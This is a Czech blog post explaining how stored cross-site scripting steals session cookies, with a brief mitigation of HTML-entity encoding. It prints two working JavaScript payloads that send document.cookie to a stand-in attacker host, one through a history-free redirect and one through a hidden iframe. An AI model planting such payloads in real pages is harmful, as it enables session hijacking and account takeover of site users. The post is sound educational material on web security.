Vetsina stranek je zabezpecena tak, ze v Cookies je ulozene Session ID – Toto SessionID slouzi k tomu, aby se uzivatel autorizoval pred webem a je to nejaky nahodne vygenerovany kod, ktery se ulozi zaroven na serveru a tyto 2 retezce se pak porovnavaji.
Prave na scizeni teto identity uzivatele se chci zamerit ve 1. casti tohoto blogpostu.
Nejdrive se ale musime podivat na to jaky kod lze pouzit ke scizeni uzivatelovi cookies a tim padem i identity:
|
1 2 3 4 |
<script type="text/javascript"> var url = "http://hacker.com/hack.aspx?cookies=" + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href); location.replace(url); </script> |
S timto kodem, ktery by si uzivatel mohl vlozit treba na svuj profil na nejake strance, by vas to presmerovalo na stranku hack.aspx, spolecne s vasi cookies a soucasnou URI – ta by slouzila k tomu aby po zpracovani Vasi cookies vas to presmerovalo zpet vy jste tak nejspis vubec nic nepoznali.
Protoze hacker by pouzil metodu location.replace, nezaznamenala by se adresa hack.aspx do historie ani do adresniho radku. Nicmene toto neni uplne dokonale, protoze by se vam neustale nacitala stranka – sotva by se nacetla, JS by ji hned presmeroval na hacker.com a ten pak zpatky na vas web.
Jiste, dalo by se tomu zabranit, kdyby hacker dal podminku vykonavat jeho kod pouze kdyz nebude v adrese uri urcity parametr nebo hash ktery by tam vlozil on.
Proto hackeri vynalezli sikovnejsi metodu, ktera funguje stejne, ale nezpusobuje zadne presmerovani. Jeji JS kod by vypadal nejak takto:
|
1 2 3 4 |
<script type="text/javascript"> var url = 'http://hacker.com/hack.aspx?cookies=' + encodeURIComponent(document.cookie); document.body.innerHTML += ' <iframe id="myHackFrame" style="display:none;visibility: collapse;"> </iframe>'; document.getElementById('myHackFrame').src = url; </script> |
To ze ma tento iframe css styl display:none; a visibility: collapse; zapricini, ze iframe nebude viditelny ani nebude na strance zabirat zadne misto, ale bude normalne funkcni.
Princip je pak stejny jako u presmerovani – spociva ve nacteni utocnicke stranky, ktera zpracuje cookies.
Jak tomuto zabranit?
Jednoduse ale pracne, musite do DB ukladat html entity misto skutecnych znaku, takze nahradit nebezpecne znaky jako <, > nebo & za odpovidajici entity <, > nebo &.
Samozrejme pokud byste chteli takto pozmeneny kod zase zobrazovat v html inputech(napriklad pri editaci), bylo by dobre zase html entity prevest na skutecne znaky.
Tak a to je vsechno. Nekdy priste se podivame na SQL Injection v ASP.NET, kterou jsem se prave zacal zabyvat.